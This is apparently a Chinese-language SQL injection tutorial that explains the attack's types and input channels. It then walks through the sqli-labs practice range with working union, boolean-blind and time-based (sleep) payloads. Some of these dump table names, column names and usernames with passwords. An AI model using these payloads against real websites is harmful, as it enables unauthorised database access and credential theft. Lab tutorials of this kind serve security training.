概念
定义与原理
由于对用户的输入没做严格的过滤和限制,攻击者通过在Web应用的输入字段中插入恶意SQL代码,从而影响数据库的操作。(我们知道web网站分为前端和后端,前端会像后端提供用户所需要的请求,而后端则需要根据前端所提供的请求做出响应,传递资源,这个资源就可能是sql数据库,因为没有严格的过滤,就给了黑客机会去对我们的sql语句(即对数据库的操作)进行修改,拼接,从而获取数据库中的信息,并进行一系列的操作)
危害
数据泄露、数据篡改、被留后门、甚至控制整个数据库系统。
sql语句的提交方式
GET : http://example.com/page?query=SELECT * FROM table
GET请求通常用于请求服务器发送数据。在URL后面附加的查询参数中提交SQL语句,
GET请求的参数会暴露在URL中,因此不适用于提交敏感或机密信息。
POST:
POST请求用于向服务器提交数据,数据通常在HTTP消息体中发送。
POST请求不会像GET请求那样将参数暴露在URL中,因此更适合提交敏感数据。
Cookie: Set-Cookie: sql_query=SELECT * FROM table
Cookie是在浏览器中存储的小型文本文件,用于存储用户信息
Cookie可以用于跟踪用户的会话状态,但也可能被恶意利用,例如通过跨站脚本攻击(XSS)窃取用户的Cookie信息。
http头(X-Forwarded-For): X-Forwarded-For: 192.0.2.1
X-Forwarded-For是一个HTTP扩展头,用于识别通过HTTP代理或负载均衡器传递过来的客户端原始IP地址。
它通常用于记录用户的真实IP地址,而不是代理服务器的IP地址。
Referer: Referer: http://example.com/source_page
Referer头用于标识请求的来源,即用户在点击链接或提交表单之前所在的页面。
Referer头可以用于分析用户的行为和流量来源,但也可能暴露用户的浏览历史,因此涉及到隐私问题
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3
User-Agent头是一个字符串,用于标识发起HTTP请求的浏览器或客户端类型。
User-Agent头可以用于服务器端进行浏览器兼容性处理或统计分析
sql注入的基本过程
判断注入点:
首先,攻击者会尝试识别Web应用程序中的注入点。这通常是通过在输入字段中输入特殊的字符或SQL代码,然后观察应用程序的响应来完成的。
注入类型:
一旦发现了潜在的注入点,攻击者会尝试确定注入的类型。
暴库暴表暴字段:
获取数据库信息,获取表名,获取表中的列名与数据
sql注入的类型
联合注入:联合查询适合于有显示位的注入,即页面某个位置会根据我们的输变化而变化 。
报错注入:报错注入适合用于数据库错误的信息会回显到前端页面的时候。
布尔盲注:布尔盲注就是在页面没有错误回显时候就完成注入。
延时注入(延时盲注):攻击者使用sql语句中的延时函数,根据数据库的响应实践来推断信息。
宽字节注入(%df/):利用了字符集编码的特性来绕过某些过滤机制。
堆叠注入:用分号同时注入多条sql语句进行注入。
二次注入:
(1) 先构造语句(有被转义字符的语句)
(2)我们构造的恶意语句存入数据库
(3)第二次构造语句(结合前面已经存入数据库的语句,成功。因为系统没有对已经存入数据库的数据做检查)
(4)二次注入更加难以被发现
实战
环境
sqli-labs(靶场)
联合注入
联合查询适合于有显示位的注入,即页面某个位置会根据我们的输变化而变化
进入第一关
加后缀(?id=1)查看能否与数据库进行交互
如上图,则可以与数据库进行交互。接下来我们来判断闭合方式(遵循数据库管理员的方式),利用转义符"/"来查看闭合方式,判断能否进行注入。
如上图,闭合方式为单引号( ' ),存在可以注入的漏洞。(若不存在,则会之间返回进入页面,而不给出错误提示)之后我们就开始判断表字段,输入(?id=1' order by 3 --+和?id=1' order by 4 --+)
由此我们就可以确定有三列数据,接下来测试我们的输入会在屏幕哪个地方进行回显。我们就把这三列写三个数据(union select 1, 2, 3),需让union select前面的参数查不出来而回显后面的语句,所以id=-1',插入语句?id=-1' union select 1,2,3 --+
看到我们可以成功回显出我们的输入数据,之后我们就进行暴库暴表暴字段,
暴库(?id=-1' union select 1,2,database() --+ )
暴表(?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+)
(group_concat():这个字符的功能是将后面的要查询的数据链接起来,形成一行数据)
暴字段(?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+)
暴数据(?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+)
布尔盲注
布尔盲注就是在页面没有错误回显时候就完成注入。
这里从第一关切换到第八关
我们输入正确的id,他给我们的信息很少(盲注),输入?id=1和?id=-1,来看一下
接下来判断数据库名称长度与字符(二分法),应为已经知道了(security 八位),
对于长度输入代码(?id=1' and length(database())>7 --+)长度大于7,成功进入
对于长度输入代码(?id=1' and length(database())>8 --+)长度大于8,进入失败
所以我们确定长度为8.
对于字符,则需要一个个来对应ascii码,以第一个(s=115)为例子。
输入代码(?id=1' and ascii(substr(database(),1,1))>114 --+)大于114,成功进入
输入代码(?id=1' and ascii(substr(database(),1,1))>115 --+)大于115,进入失败
以此类推得出数据库的名字 -- security。
substr(database(),2,1)这就是对第二个进行检查。
对于暴表和暴字段都是一样的道理。对于布尔盲注,我们在实际过程使用SQLMAP 来进行自动化探测。
延时盲注
攻击者使用sql语句中的延时函数,根据数据库的响应实践来推断信息。
这里从用第八关
利用延时函数sleep(?id=1' and sleep(5) --+)来查看能否进行注入 ,如果响应时间在5秒左右,说明sleep函数起了左右,因此我们可以开始使用延时盲注
延时注入和布尔注入类似,构造方法,先对比数据库名称的长度看一下两个的区别:
布尔(?id=1' and length(database())>7 --+):
延时(?id=1' and if((length(database())>7),sleep(5),0) --+):
对于延时注入,if((length(database())>7),sleep(5),0这个sql语句的作用是,如果数据库名称长度大于7,则已经完成操作并且sleep5秒,否则直接进不去。
对于字符的延时注入也类似:?id=1' and if(ascii(substr(database(),1,1)) > 115,sleep(5),0) --+